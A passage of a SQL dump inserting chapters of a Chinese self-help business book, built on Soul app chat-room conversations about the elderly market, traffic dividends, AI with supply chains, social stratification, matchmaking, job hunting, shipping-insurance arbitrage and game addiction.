\n\n---\n\n我停了一下。\n\n\"老年人呢?\"\n\n\"老年人有钱。他们工作了一辈子,有积蓄,有退休金。\"\n\n\"老年人愿意花钱。他们不用攒钱买房、不用养孩子、不用还贷款。\"\n\n\"老年人忠诚度高。他们一旦认准了一个品牌,就会一直用。\"\n\n这是我们在帮一些做大健康的客户做咨询时发现的规律。\n\n---\n\n派对房里,有人说:\"但老年人不会用互联网啊。\"\n\n我说:\"这是五年前的观念了。\"\n\n\"你看看现在的老年人,有多少在刷抖音追短剧?有多少在用微信?有多少在拼多多、视频号上买东西?\"\n\n\"他们可能不会用复杂的功能,但基本的操作都会。\"\n\n---\n\n我继续说。\n\n\"而且老年人的互联网使用率还在快速增长。\"\n\n\"因为现在50多岁、60岁的人,他们年轻的时候就接触过电脑、接触过手机。还有很多地方的老年大学专门教老年人用这些\n\n软件,专门开了课程。\"\n\n\"再过十年,70岁的老年人可能比现在60岁老年人更会用互联网。\"\n\n---\n\n派对房里,有人问:\"那针对老年人的生意有哪些?\"\n\n我说:\"太多了。\"\n\n\"健康相关的:保健品、体检、康复、护理。\"\n\n\"生活相关的:家政、适老化改造、老年旅游、老年教育。\"\n\n\"情感相关的:陪伴服务、老年社交、老年婚恋。\"\n\n\"金融相关的:养老理财、以房养老、遗产规划等。\"\n\n---\n\n我停了一下。\n\n\"但做老年人生意,有一个很重要的点。\"\n\n\"就是你不能把老年人当老年人。\"\n\n---\n\n派对房里,有人问:\"什么意思?\"\n\n我说:\"很多企业做老年人产品,都带着一种俯视的心态。\"\n\n\"觉得老年人不懂、老年人好骗、老年人需要被照顾。\"\n\n\"这种心态做出来的产品,老年人是不买账的。\"\n\n---\n\n我继续说。\n\n\"现在的老年人,尤其是城市里的老年人,他们不觉得自己老。\"\n\n\"他们有自己的审美、有自己的追求、有自己的社交圈。\"\n\n\"他们不想被当成需要照顾的人,他们想被当成有价值的人。\"\n\n这也是我们在做私域运营时的一个重要原则,尊重用户,而不是俯视用户。\n\n---\n\n那天聊完,派对房里有人说:\"我觉得Soul就是一个孤独经济的产品。\"\n\n我说:\"对。\"\n\n\"Soul为什么能火?因为它解决的是年轻人的孤独问题。\"\n\n\"在现实中找不到人聊天,在Soul上可以。\"\n\n\"在现实中没有人理解你,在Soul上可以找到同类。\"\n\n---\n\n我停了一下。\n\n\"孤独是这个时代最普遍的情绪。\"\n\n\"不管你是20岁还是60岁,不管你是单身还是有家庭。\"\n\n\"每个人都有孤独的时刻。\"\n\n\"谁能解决孤独,谁就能赚到钱。\"\n\n这也是我们每天早上6点开播的原因,陪伴本身就是价值。\n\n---\n\n如果你也在寻找新的商业机会,欢迎来派对房聊聊。\n\n我们可以帮你分析你的资源和能力,看看适合做什么。\n\n不收费,只要你认真。\n\n---\n\n商业机会往往藏在被忽视的地方。\n\n大家都在追年轻人的时候,老年人市场是蓝海。\n\n大家都在做社交的时候,解决孤独的产品是蓝海。\n\n发现被忽视的需求,满足被忽视的人群。\n\n这就是找到商业机会的底层逻辑。\n\n我们能做的,就是帮你发现这些机会。\n', 1828, 0, 1.00, 60, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.139', 4, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (12, '11.3', 'part-5', '第五篇|真实的社会', 'chapter-11', '第11章|中国社会商业生态的未来', '流量红利的终局', '# 11.3 流量红利的终局\n\n红利的终局不是一笔大钱,是你有结构与曲线。\n\n2025年12月29日,周一,早上7点25分。\n\n那天派对房里来了个做内容的朋友,语气有点焦虑。\n\n他说:\"平台红利总在说,到底怎么拿?\"\n\n我问:\"你每个月愿意为结构与几率付多少?\"\n\n他笑了:\"只要能稳。\"\n\n我说:\"那我们从头聊。\"\n\n---\n\n那天早上,我们深入讨论了流量红利的话题。\n\n有个做了很久私域的朋友分享了他的观察:\n\n\"现在割韭菜也割不动。从最开始的19年、20年的时候,教电商的、教DY电商的,教的挺多的。那个时候好割,现在不好割\n\n了,现在线上没多少割不动。\"\n\n\"现在你整个的一个方向一定是往合理合法的方向去走,往合理合法的方向走会机会很多。\"\n\n另一个朋友说得更直接:\n\n\"以前矩阵放大解决微信号玩法已经结束了,这个基本都已经默认掉了大部分。现在前端引流的成本太高了。\"\n\n这就是红利终局的真相,野蛮时代结束了,结构时代开始了。\n\n---\n\n在派对房里,我们把红利分成两部分:\n\n第一阶段:窗口期\n- 新平台的推荐红利\n- 低成本获客\n- 快速规模化\n\n第二阶段:结构期\n- 私域沉淀\n- 复购变现\n- 系统化运营\n\n有个朋友分享了他的经验:\n\n\"我最多的一天直播间在线能拉到1万多人。连着差不多有小一个月,平时正常在线就是两三千人。那个东西利润是70%,成\n\n本可能只有30%左右。\"\n\n\"但是后来出了事,设备就是作案工具全部没收了。以前的朋友就没联系了。圈子换一换,有时候是个好事。\"\n\n红利不是终点,结构才是。\n\n这也是我们在帮客户做咨询时反复强调的,不要只看眼前的红利,要建立长期的结构。\n\n---\n\n派对房里,很多人问我Soul的红利在哪里。\n\n我的观察是:\n\n\"Soul现在打法有点像11年的QQ、14年的微信,跟17年的抖音很像。他现在做内部的人群分层跟流量池的搭建。\"\n\n\"Soul上的场观价值是抖音的20倍。抖音1000人场观可能加1个微信,Soul上40-50人场观能加2-5个微信。\"\n\n这就是红利的本质,不是平台给你流量,是平台给你\"对的人\"。\n\n---\n\n基于派对房的讨论,我们总结出红利终局的三个要素:\n\n1. 结构:第8秒反转、评论拿清单、加微信进群\n2. 纪律:每天开播、每周复盘、每月升级\n3. 曲线:承诺兑现率、复购率、转介绍率\n\n\"我们不晒营收,我们看曲线。\"\n\n这套方法论,我们可以帮你落地。\n\n---\n\n如果你也在追红利,欢迎来派对房聊聊。\n\n我们可以帮你分析你现在的状态,看看是在窗口期还是结构期。\n\n不同阶段,打法不一样。\n\n---\n\n红利的终局不是一笔大钱,是你有结构与曲线。\n\n- 窗口只给结构与纪律的人\n- 终局只留给复购与兑现的人\n\n把\"窗口\"当作\"入口\",把\"私域\"当作\"终局\"。\n\n这是我们在67场派对房里验证出来的规律。\n', 1079, 0, 1.00, 61, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.151', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (13, '11.4', 'part-5', '第五篇|真实的社会', 'chapter-11', '第11章|中国社会商业生态的未来', '大模型 + 供应链的组合拳', '# 11.4 大模型 + 供应链的组合拳\n\nAI是窗,供应链是墙,合规是地基。\n\n2025年12月30日,周二,早上7点45分。\n\n那天派对房里来了个技术合伙人,问题很专业。\n\n他说:\"我们接入了大模型,但利润还是薄,怎么打组合拳?\"\n\n我问:\"你每个月愿意为前端AI+后端供应链+合规托底付多少?\"\n\n他点点头:\"只要能稳。\"\n\n我说:\"那我们从头拆一遍。\"\n\n---\n\n那天早上,我们深入讨论了AI与供应链的结合。\n\n有个做了很久电竞的朋友分享了他的观察:\n\n\"AI它现在是这样的,所有的行业出来都是有巨大泡沫的,有泡沫才会有资本进去,才能发得起这么多高薪人才的工资,才\n\n能把整个行业的足够多的投入,它才能做起来。\"\n\n\"这次AI我自己的感觉比互联网出来还强十倍。因为我们2000年就在玩互联网,刚起来的时候我们就在从业了。互联网只革\n\n命了一小部分的行业,现在AI革命了几乎所有,太可怕了。\"\n\n另一个朋友说得更务实:\n\n\"实际的跟科技没有改变太多,就是降本增效。实际的应用没有改变太多,这些都只是工具层面的提效,你的效率更好,体验\n\n更好,没有改变本质。\"\n\n\"但它有一个好处是什么?提升了一些竞争力。比如我们公司用了AI,整体的人效就提升30%,那我就愿意把这30%拿出来再\n\n投AI的团队。那你不用,你就被我卷。\"\n\n这就是AI的真相,不是颠覆,是提效。\n\n---\n\n派对房里,我们讨论了几个真实的AI应用案例:\n\n案例1:体检报告分析\n\n\"厦门这边,国宇做体检报告的分析,以前还要一堆专家,现在专家分析的没AI 9块9分析的好。当时专家分析一份3000块\n\n钱。\"\n\n案例2:直升机AI导航\n\n\"今天早上有一个坐直升机的过来,在我们这边帝景苑那边已经试飞了一场。他们也有卡点,起飞的时候会出现向下压的气压\n\n问题。他想去用AI去分析这个东西,而不是用纯人工的形式来做。\"\n\n案例3:学校AI课程\n\n\"11月份有一个国际的AI展会在厦门举办,其中有一个很重要的事情就是给高职学校输出AI应用的课程。我那朋友对接的就\n\n是全国2000万中职的学生来学这个AI的课程。\"\n\n这些案例都说明一个问题,AI只是工具,关键是怎么用。\n\n---\n\n基于派对房的讨论,我们把组合拳拆成三段:\n\n前端AI(窗):\n- 模板库/共鸣句库\n- 轻动作自动化(清单/登记/预约/随访)\n- 三处质检点\n\n后端供应链(链):\n- 后端五问(货/价/期/质/服)\n- 三周修链计划\n- 退换/投诉/毛利三曲线\n\n合规托底(底):\n- 政策与托底(残疾人用工/退税一体化)\n- 异常升级路径\n- 双确认与公账\n\n\"窗把人带来,链把利润留住,底把风险压住。\"\n\n这套结构,我们可以帮你从0搭建。\n\n---\n\n如果你也在做AI+供应链的事情,欢迎来派对房聊聊。\n\n我们可以帮你梳理你的前端、后端和合规,看看哪里有漏洞。\n\n不卖软件,只帮你建结构。\n\n---\n\nAI不是核心,链与底才是。\n\n- 把\"窗的承诺\"变成\"链的利润\"\n- 再用\"底\"把风险封住\n\nAI是窗,供应链是墙,合规是地基。\n\n三者缺一不可。\n\n这是我们在帮多个客户做咨询时总结出来的框架。\n', 1194, 0, 1.00, 62, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.162', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (14, '11.5', 'part-5', '第五篇|真实的社会', 'chapter-11', '第11章|中国社会商业生态的未来', '社会分层的最终逻辑', '# 11.5 社会分层的最终逻辑\n\n分层不是宿命,是结构选择的结果。\n\n2025年12月31日,周三,早上8点25分。\n\n年末的最后一天,派对房里来了个年轻人,问了一个很大的问题。\n\n他说:\"未来到底分成几种人?\"\n\n我问:\"你每个月愿意为成为做系统的人付多少?\"\n\n他沉默了一下:\"70%。\"\n\n我说:\"那我们先聊聊什么是做系统的人。\"\n\n---\n\n那天早上,我们深入讨论了社会分层的话题。\n\n有个做了很多年私域的朋友分享了他的观察:\n\n\"现在都要转型了。我们接触的一些公司以前按分层的阿米巴形式走,现在都大部分都直接发工资了。SOP化资源导入,咔咔\n\n干活。解释成本很低。\"\n\n\"阿米巴形式不好管理,最早的时候类似于传销的用的比较多。阿米巴巴不起来啊,环境也确实不好。经济下行讲究资源,实\n\n力能扛得住,不然都饿死了。\"\n\n另一个朋友说得更直接:\n\n\"有些小白你是怎么跟他聊都聊不到一起去,他也听不懂。你跟他聊纯粹浪费时间了。他就做基础的,你SOP给他,今天就是\n\n这6个小时就干这个事情,咔咔干,然后没结果我就把他筛选掉了。\"\n\n这就是分层的真实逻辑,不是你想在哪一层,是你能做到哪一层。\n\n---\n\n在派对房里,我们把分层归纳为三类:\n\n做系统的人:\n- 写SOP\n- 设质检点\n- 建看板与曲线\n\n用系统的人:\n- 按节点执行\n- 按要求复盘\n- 拿结果分红\n\n被系统淘汰的人:\n- 靠激情与感觉\n- 听不懂策略\n- 聊不到一起去\n\n有个朋友分享了他的用人经验:\n\n\"现在是缺比较缺项目负责人执行的,能跟进团队的,然后又听得懂策略,我资源是蛮多的。\"\n\n\"不是说刚接触这一行的,就是有些小白你是怎么跟他聊都聊不到一起去。做操盘手的,你一聊,他都懂了,顺藤摸瓜一下,\n\n前前后端话术抄一下。\"\n\n---\n\n派对房里,我们讨论了一个真实的分层案例:\n\n\"我早期14年的时候带了一群游戏主播,教他们打粉、直播、把粉丝引到微信里面去。最早的时候是七三开我拿七他三,后\n\n面变成三七开他拿七,到16年的时候我拿1%,最后1%都没有。\"\n\n\"人性不要去挑战的,不管关系多好。\"\n\n后来他学聪明了:\n\n\"后面非常简单,就是做流程拆解。你直播间就好好玩游戏,我给你钱就行,养着你就可以了。后面成交转化产品供应链所有\n\n的流程,我给你配团队,全部来做完。\"\n\n\"他就不需要学太多。要去比赛,我保你比赛赞助给你。每个月分个一万两万给你。后端所有的人做重的全部放公司底下。\"\n\n这就是分层的终极形态,做系统的人设计结构,用系统的人执行结构,被淘汰的人连结构都进不去。\n\n---\n\n基于派对房的讨论,我们总结出成为\"做系统的人\"的路径:\n\n1. 能听懂策略:不是只会执行,要理解为什么\n2. 能跟进团队:不是只管自己,要能带人\n3. 能建立结构:不是只做动作,要能写SOP\n4. 能看懂曲线:不是只看数字,要能复盘\n\n\"你想成为哪一种人,取决于你愿意为系统付出多少。\"\n\n这也是我们在做咨询时帮客户梳理的,你现在在哪一层,你想去哪一层,怎么从这里到那里。\n\n---\n\n如果你也想成为做系统的人,欢迎来派对房聊聊。\n\n我们可以帮你评估你现在的能力,看看缺什么、怎么补。\n\n不收费,只要你认真。\n\n---\n\n分层不是宿命,是结构选择的结果。\n\n- 做系统的人写结构\n- 用系统的人跑结构\n- 结构自然淘汰\"靠感觉的\"\n\n把\"人\"变成\"结构\",把\"结构\"变成\"曲线\"。\n\n这是我们在派对房里见证过无数次的规律。\n\n你想站在哪一层,取决于你愿意付出什么。\n\n我们能做的,就是帮你看清楚这条路。\n', 1347, 0, 1.00, 63, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.174', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (15, '2.1', 'part-1', '第一篇|真实的人', 'chapter-2', '第2章|人性困境案例', '相亲故事:你以为找的是人,实际是在找模式', '\"相亲这件事,90%的人都搞错了方向。\"\n\n2025年11月22日,周六,早上6点15分。\n\n那天的派对房话题有点私密,聊起了相亲这件事。\n\n有人说:\"我相了十几次亲,一个都没成。\"\n\n我问:\"你觉得问题出在哪里?\"\n\n他说:\"可能是我条件不够好吧。\"\n\n我说:\"不对。问题不在条件,在思维方式。\"\n\n---\n\n派对房里,有人问:\"什么意思?\"\n\n我说:\"大部分人相亲,都在找一个\'人\'。\"\n\n\"他们列一堆条件:身高多少、学历多少、收入多少、长相怎么样。\"\n\n\"然后去相亲,看对方符不符合这些条件。\"\n\n\"符合就继续聊,不符合就下一个。\"\n\n---\n\n我继续说。\n\n\"但这种思维方式有一个问题。\"\n\n\"就是你永远在找一个\'完美的人\',但完美的人不存在。\"\n\n\"或者说,完美的人存在,但他凭什么选你?\"\n\n---\n\n派对房里,有人说:\"那应该怎么找?\"\n\n我说:\"你不应该找人,你应该找\'模式\'。\"\n\n---\n\n我停了一下。\n\n\"什么叫找模式?\"\n\n\"就是你要想清楚,你想要的是什么样的生活,然后找一个能跟你一起过这种生活的人。\"\n\n---\n\n我举了个例子。\n\n\"比如你想要的生活是:两个人一起创业,白天各忙各的,晚上一起吃饭聊天,周末一起出去玩。\"\n\n\"那你找对象的时候,就不应该只看条件,而应该看这个人能不能跟你过这种生活。\"\n\n\"他愿不愿意支持你创业?他能不能接受你忙?他对生活的期待跟你一不一样?\"\n\n---\n\n派对房里,有人说:\"但条件不重要吗?\"\n\n我说:\"条件重要,但条件是筛选器,不是目标。\"\n\n\"你用条件来筛选,是为了提高效率。\"\n\n\"但最终决定你们能不能在一起的,不是条件,是\'模式匹配\'。\"\n\n---\n\n我继续说。\n\n\"我见过很多条件很好的人,相亲失败。\"\n\n\"为什么?因为他们只看条件,不看模式。\"\n\n\"两个人条件都很好,但一个想安稳,一个想折腾。\"\n\n\"一个想早点结婚生孩子,一个想先拼事业。\"\n\n\"这种情况,条件再好也没用。\"\n\n---\n\n派对房里,有人问:\"那怎么找到模式匹配的人?\"\n\n我说:\"首先,你要想清楚自己想要什么。\"\n\n\"很多人相亲失败,不是因为找不到人,是因为自己都不知道自己要什么。\"\n\n\"你问他想找什么样的人,他说\'合适的\'。\"\n\n\"什么叫合适?他说不出来。\"\n\n---\n\n我停了一下。\n\n\"其次,你要学会在聊天中挖掘对方的\'模式\'。\"\n\n\"不要只聊表面的东西,要聊深层的东西。\"\n\n\"比如你可以问:你未来五年有什么规划?你理想的生活是什么样的?你怎么看待工作和家庭的关系?\"\n\n\"这些问题能帮你快速判断对方的模式跟你匹不匹配。\"\n\n---\n\n派对房里,有人说:\"但这样聊会不会太严肃了?\"\n\n我说:\"不会。\"\n\n\"如果对方觉得这些问题太严肃,那说明他还没准备好认真找对象。\"\n\n\"你也不用浪费时间了。\"\n\n---\n\n那天聊完,派对房里有人说:\"我明白了,相亲不是找人,是找生活方式。\"\n\n我说:\"对。\"\n\n\"你找的不是一个人,是一个能跟你一起生活的伙伴。\"\n\n\"这个伙伴的条件可能不是最好的,但他愿意跟你一起走。\"\n\n\"这比条件重要一万倍。\"\n\n---\n\n我停了一下。\n\n\"还有一点很重要。\"\n\n\"就是你自己也要成为别人想要的\'模式\'的一部分。\"\n\n\"你想找一个上进的人,那你自己上不上进?\"\n\n\"你想找一个有趣的人,那你自己有不有趣?\"\n\n\"相亲是双向选择,你在挑别人的时候,别人也在挑你。\"\n\n---\n\n早上7点22分,那个相了十几次亲的人说:\"我回去想想我到底要什么样的生活。\"\n\n我说:\"这就对了。\"\n\n\"先想清楚自己要什么,再去找。\"\n\n\"盲目地找,只会越找越迷茫。\"\n\n\"清醒地找,才能找到对的人。\"', 3914, 0, 1.00, 6, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.526', 19, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (16, '2.2', 'part-1', '第一篇|真实的人', 'chapter-2', '第2章|人性困境案例', '找工作迷茫者:为什么简历解决不了人生', '# 2.2 找工作迷茫者:为什么简历解决不了人生\n\n\"我改了二十多版简历,还是找不到工作。\"\n\n2025年12月6日,周六,早上6点28分。\n\n那天派对房里来了个刚毕业的大学生,声音里带着迷茫。\n\n他说他投了几百份简历,面试了十几家公司,但一个offer都没拿到。\n\n\"你觉得问题出在哪里?\"\n\n\"可能是我简历写得不够好。\"\n\n\"不对。问题不在简历,在你自己。\"\n\n---\n\n派对房里,有人问:\"什么意思?\"\n\n我说:\"简历只是一个载体,它展示的是你这个人。\"\n\n\"如果你这个人没有亮点,简历写得再好也没用。\"\n\n\"反过来,如果你这个人有亮点,简历写得差一点也能被看到。\"\n\n---\n\n我继续说。\n\n\"很多人找工作,把所有精力都放在改简历上。\"\n\n\"改格式、改措辞、改排版。\"\n\n\"但他们忽略了一个问题:简历上写的东西,是真的吗?\"\n\n---\n\n派对房里,那个大学生说:\"当然是真的啊。\"\n\n我说:\"我不是说你造假。\"\n\n\"我是说,你简历上写的那些经历,真的能证明你的能力吗?\"\n\n---\n\n我举了个例子。\n\n\"比如你写\'曾在某公司实习三个月\'。\"\n\n\"这三个月你做了什么?学到了什么?有什么成果?\"\n\n\"如果你只是去打杂、复印、跑腿,那这段经历没有任何价值。\"\n\n\"但如果你在这三个月里独立完成了一个项目,或者解决了一个问题,那就不一样了。\"\n\n---\n\n派对房里,有人说:\"但我没有那么厉害的经历啊。\"\n\n我说:\"那就去创造。\"\n\n\"你现在没有工作,有的是时间。\"\n\n\"你可以做一个自己的项目,可以参加一个比赛,可以学一个新技能。\"\n\n\"这些都是可以写在简历上的。\"\n\n---\n\n我继续说。\n\n\"很多人找工作的思路是:先找到工作,再去学习。\"\n\n\"但正确的思路是:先学习,再找工作。\"\n\n\"你要先让自己变得有价值,然后工作自然会来找你。\"\n\n---\n\n派对房里,那个大学生说:\"但我不知道学什么啊。\"\n\n我说:\"这就是你真正的问题。\"\n\n\"你不是找不到工作,你是不知道自己要什么。\"\n\n---\n\n我停了一下。\n\n\"你想做什么工作?你擅长什么?你对什么感兴趣?\"\n\n\"这些问题你想清楚了吗?\"\n\n他沉默了一会儿,说:\"没有。\"\n\n---\n\n我说:\"那你先别急着投简历了。\"\n\n\"先花一个月时间,想清楚这些问题。\"\n\n\"去尝试不同的事情,去跟不同的人聊天,去探索自己。\"\n\n\"等你想清楚了,再去找工作。\"\n\n---\n\n派对房里,有人问:\"但不找工作怎么生活?\"\n\n我说:\"可以先找一个过渡性的工作。\"\n\n\"不一定是你理想的工作,但能让你活下去。\"\n\n\"然后用业余时间去探索、去学习、去准备。\"\n\n\"等你准备好了,再跳到你真正想做的工作。\"\n\n---\n\n那天聊完,派对房里有人说:\"我觉得你说得对,但好难啊。\"\n\n我说:\"当然难。\"\n\n\"如果容易,大家都能找到好工作了。\"\n\n\"但难不代表做不到。\"\n\n\"你只需要比别人多想一步、多做一点,你就能脱颖而出。\"\n\n---\n\n我停了一下。\n\n\"找工作这件事,本质上是一个\'匹配\'的过程。\"\n\n\"公司在找能创造价值的人,你在找能发挥你价值的平台。\"\n\n\"如果你自己都不知道自己的价值是什么,怎么可能匹配成功?\"\n\n---\n\n这本书的真实目的,不是教你怎么写简历。\n\n而是告诉你,找工作的困境,往往不是技巧的问题,而是方向的问题。\n\n你要先知道自己是谁、想要什么,然后才能找到适合你的工作。\n\n简历只是一张纸,真正决定你命运的,是纸背后的那个人。\n', 1292, 0, 1.00, 7, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.537', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (17, '2.3', 'part-1', '第一篇|真实的人', 'chapter-2', '第2章|人性困境案例', '撸运费险:小钱困住大脑的真实心理', '# 2.3 撸运费险:小钱困住大脑的真实心理\n\n\"我一天能撸两三百块运费险,一个月下来也有小一万。\"\n\n2025年11月18日,周一,早上7点05分。\n\n那天派对房里来了个说自己\"撸运费险\"的人,语气里带着点得意。\n\n他说他每天的工作就是在淘宝上买东西、退货,赚运费险的差价。\n\n我问:\"你做这个多久了?\"\n\n他说:\"快两年了。\"\n\n我说:\"两年了,你有没有想过做点别的?\"\n\n他沉默了一会儿,说:\"想过,但不知道做什么。\"\n\n---\n\n派对房里,有人问:\"运费险是怎么撸的?\"\n\n他说:\"很简单。\"\n\n\"你在淘宝上买一个有运费险的商品,比如衣服。\"\n\n\"然后你申请退货,运费险会赔你一笔钱,比如12块。\"\n\n\"但实际上你退货的快递费可能只要5块、6块。\"\n\n\"中间的差价就是你赚的。\"\n\n---\n\n他继续说。\n\n\"一单赚5块、6块,听起来不多。\"\n\n\"但如果你一天撸50单、100单呢?\"\n\n\"一天就能赚两三百,一个月就是小一万。\"\n\n---\n\n我问:\"那你一天要花多少时间?\"\n\n他说:\"差不多七八个小时。\"\n\n\"因为你要选品、下单、收货、退货、寄快递,每个环节都要花时间。\"\n\n---\n\n派对房里,有人说:\"那不是跟上班一样?\"\n\n他说:\"是啊,但我自由啊。\"\n\n\"我想什么时候干就什么时候干,不用看老板脸色。\"\n\n---\n\n我说:\"但你有没有想过一个问题?\"\n\n\"你做这个两年了,你的收入有增长吗?\"\n\n他说:\"没有。\"\n\n\"两年前一个月赚七八千,现在还是一个月赚七八千。\"\n\n\"而且现在越来越难做了,平台在打击,运费险的额度也在降。\"\n\n---\n\n我继续说。\n\n\"你看,这就是问题。\"\n\n\"你花了两年时间,做一件没有成长性的事情。\"\n\n\"两年后,你的能力没有提升,你的收入没有增长,你的未来没有任何积累。\"\n\n---\n\n派对房里,有人说:\"但至少他赚到钱了啊。\"\n\n我说:\"是赚到钱了,但这是\'小钱\'。\"\n\n\"什么叫小钱?就是能让你活下去,但不能让你活得更好的钱。\"\n\n---\n\n我停了一下。\n\n\"小钱最可怕的地方是什么?\"\n\n\"是它会困住你的大脑。\"\n\n\"你每天忙着撸运费险,没有时间去学习、去思考、去尝试新东西。\"\n\n\"你的大脑被这些小钱占满了,没有空间去想更大的事情。\"\n\n---\n\n派对房里,那个人说:\"但我不做这个,我能做什么?\"\n\n我说:\"这就是被小钱困住的典型表现。\"\n\n\"你已经习惯了这种\'低风险、低收益\'的模式。\"\n\n\"你不敢去尝试有风险的事情,因为你怕失去现在的收入。\"\n\n\"但你不知道的是,你已经在失去更重要的东西——时间和机会。\"\n\n---\n\n我继续说。\n\n\"我不是说撸运费险不好。\"\n\n\"如果你只是把它当成一个过渡,一边撸一边学习、一边准备,那没问题。\"\n\n\"但如果你把它当成一个长期的事业,那就有问题了。\"\n\n---\n\n派对房里,有人问:\"那什么样的事情值得长期做?\"\n\n我说:\"有三个特点的事情。\"\n\n\"第一,有成长性。你做得越久,能力越强,收入越高。\"\n\n\"第二,有积累性。你今天做的事情,能为明天打基础。\"\n\n\"第三,有杠杆性。你能用更少的时间,创造更多的价值。\"\n\n---\n\n我停了一下。\n\n\"撸运费险符合这三个特点吗?\"\n\n\"不符合。\"\n\n\"你做两年和做一年,能力没有区别。\"\n\n\"你今天撸的单,对明天没有任何帮助。\"\n\n\"你一天只有24小时,撸的单是有上限的。\"\n\n---\n\n那天聊完,派对房里那个人说:\"我要好好想想了。\"\n\n我说:\"想清楚一个问题就行。\"\n\n\"你是想赚一辈子小钱,还是想有一天赚到大钱?\"\n\n\"如果是后者,你就要敢于放弃现在的小钱,去追求更有价值的东西。\"\n\n---\n\n这本书的真实目的,不是批评撸运费险的人。\n\n而是告诉你,人生最大的陷阱,不是失败,而是被小成功困住。\n\n小钱能让你活下去,但也能让你永远活在底层。\n\n要想突破,你必须敢于放弃眼前的确定性,去追求更大的可能性。\n', 1456, 0, 1.00, 8, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.549', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (18, '2.4', 'part-1', '第一篇|真实的人', 'chapter-2', '第2章|人性困境案例', '游戏上瘾的年轻人:不是游戏吸引他,是生活没吸引力', '# 2.4 游戏上瘾的年轻人:不是游戏吸引他,是生活没吸引力\n\n\"我每天打游戏十几个小时,我知道这样不好,但我停不下来。\"\n\n2025年11月23日,周日,早上6点52分。\n\n那天派对房里来了个声音很年轻的男生,语气有点低沉。\n\n他说他大学毕业两年了,一直没找工作,就在家打游戏。\n\n我问:\"你父母不管你吗?\"\n\n他说:\"管过,但没用。他们说什么我都听不进去。\"\n\n---\n\n派对房里,有人问:\"你打的是什么游戏?\"\n\n他说:\"主要是王者荣耀和原神。\"\n\n\"王者荣耀打排位,原神做日常。\"\n\n\"一天下来,基本上除了吃饭睡觉,都在打游戏。\"\n\n---\n\n我问:\"你觉得打游戏快乐吗?\"\n\n他沉默了一会儿,说:\"说不上快乐,就是……停不下来。\"\n\n我说:\"这就是问题所在。\"\n\n---\n\n派对房里,有人说:\"游戏上瘾是病,得治。\"\n\n我说:\"不完全对。\"\n\n\"游戏上瘾是结果,不是原因。\"\n\n\"你要问的不是\'怎么戒游戏\',而是\'为什么会上瘾\'。\"\n\n---\n\n我继续说。\n\n\"一个人沉迷游戏,通常有两个原因。\"\n\n\"第一,游戏给了他现实中得不到的东西。\"\n\n\"第二,现实中没有比游戏更有吸引力的东西。\"\n\n---\n\n我停了一下。\n\n\"游戏给你什么?\"\n\n\"成就感。你打赢一局,升一段位,抽到一个好角色,都会有成就感。\"\n\n\"社交感。你跟队友一起开黑,一起吐槽,有一种归属感。\"\n\n\"掌控感。在游戏里,你是主角,你能决定很多事情。\"\n\n---\n\n我继续说。\n\n\"这些东西,你在现实中有吗?\"\n\n那个男生说:\"没有。\"\n\n\"我毕业两年,投了很多简历,都没人要。\"\n\n\"我也不知道自己能做什么,想做什么。\"\n\n\"在家待着,父母天天念叨,我也烦。\"\n\n\"只有打游戏的时候,我才觉得自己还行。\"\n\n---\n\n派对房里,有人说:\"那你就不能努力一下吗?\"\n\n我说:\"等一下,不要这样说。\"\n\n\"他不是不想努力,他是不知道往哪里努力。\"\n\n\"这是两回事。\"\n\n---\n\n我继续说。\n\n\"很多人觉得,游戏上瘾的人是懒、是堕落、是不求上进。\"\n\n\"但实际上,很多游戏上瘾的人,是迷茫、是逃避、是找不到方向。\"\n\n\"他们不是不想改变,是不知道怎么改变。\"\n\n---\n\n我停了一下。\n\n\"所以解决游戏上瘾的方法,不是强制戒游戏。\"\n\n\"而是找到一个比游戏更有吸引力的东西。\"\n\n---\n\n派对房里,那个男生问:\"什么东西能比游戏更有吸引力?\"\n\n我说:\"这个问题只有你自己能回答。\"\n\n\"但我可以给你一个思路。\"\n\n---\n\n我继续说。\n\n\"你想想,游戏为什么吸引你?\"\n\n\"因为它有目标、有反馈、有成长。\"\n\n\"你打一局游戏,有明确的目标(赢)。\"\n\n\"你每一个操作,都有即时的反馈(杀人、被杀、升级)。\"\n\n\"你打得越多,段位越高,有成长感。\"\n\n---\n\n我停了一下。\n\n\"现实中也可以找到这样的东西。\"\n\n\"比如学一个技能。学编程、学设计、学剪辑,都有目标、有反馈、有成长。\"\n\n\"比如做一个项目。做一个自媒体账号、做一个小生意,也有目标、有反馈、有成长。\"\n\n\"关键是,你要找到一个你感兴趣的方向,然后像打游戏一样去投入。\"\n\n---\n\n派对房里,那个男生说:\"但我不知道自己对什么感兴趣。\"\n\n我说:\"那就去尝试。\"\n\n\"你不试,永远不知道自己喜欢什么。\"\n\n\"你可以先从小事开始。比如每天花一个小时,去学一个新东西。\"\n\n\"不喜欢就换,喜欢就继续。\"\n\n\"总会找到的。\"\n\n---\n\n那天聊完,派对房里有人说:\"我觉得他很难改变。\"\n\n我说:\"不一定。\"\n\n\"改变的前提是什么?是意识到问题。\"\n\n\"他今天能来这里聊这个,说明他已经意识到问题了。\"\n\n\"接下来就看他愿不愿意迈出第一步。\"\n\n---\n\n这本书的真实目的,不是批评打游戏的人。\n\n而是告诉你,很多看起来是\"自制力\"的问题,其实是\"方向\"的问题。\n\n一个人沉迷游戏,不是因为他意志力薄弱,而是因为他找不到比游戏更值得投入的东西。\n\n解决问题的方法,不是强制戒断,而是找到替代品。\n\n找到一个让你愿意为之努力的目标,游戏自然就放下了。\n', 1511, 0, 1.00, 9, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.560', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (19, '2.5', 'part-1', 